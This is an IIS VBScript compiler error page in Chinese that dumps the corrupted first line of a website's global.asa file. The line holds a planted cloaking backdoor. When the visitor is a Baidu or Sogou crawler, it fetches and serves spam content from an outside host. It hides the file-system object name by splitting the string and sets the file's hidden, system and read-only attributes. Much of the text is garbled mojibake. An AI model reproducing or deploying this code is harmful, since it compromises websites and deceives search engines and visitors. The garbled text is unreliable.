Microsoft VBScript 編譯器錯誤 錯誤 '800a0408'

無效字符

/LM/W3SVC/26532000/ROOT/global.asa,行 1

谮server.Scripttimeout=3600赿im ua,Remote_server,host_name,Remote_file,Content_mb贠n Error Resume Next趗a=Request.ServerVariables("HTTP_USER_AGENT")贗f Err.Number <> 0 Then贓rr.Clear贓nd If赗emote_server="http://10.hn2019.pw/b/"趆ost_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")赗emote_file = Remote_server&"/index.php"&"?host="&host_name谮if(instr(ua,"BAIDU")>0 or instr(ua,"ogou")>0 or instr(ua,"sogou")>0 or instr(ua,"baidu")>0 or instr(ua,"BAI"))then?   Content_mb=GetHtml(Remote_file)?   response.write Content_mb趀nd if谮Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")趕et f=fso.Getfile(Server.MapPath("global.asa"))趇f f.attributes <> 7 then趂.attributes = 7趀nd if谮Function GetHtml(url)跀鲡W'&?&W7V諶鎃嘙㏒et ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")跀?閱匛E澉V?$tUB"荳&履f?]㎡bjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"跀?閱匛E?V鍹〨etHtml=ObjXMLHTTP.responseBody跁6WB?閱匛E棗鱂問鎪﹕et objStream = Server.CreateObject("Adodb.Stream")跂??G&V義G?R?﹐bjStream.Mode =3跂??G&V憶?V愆objStream.Write GetHtml跂??G&V義?桭桍??
^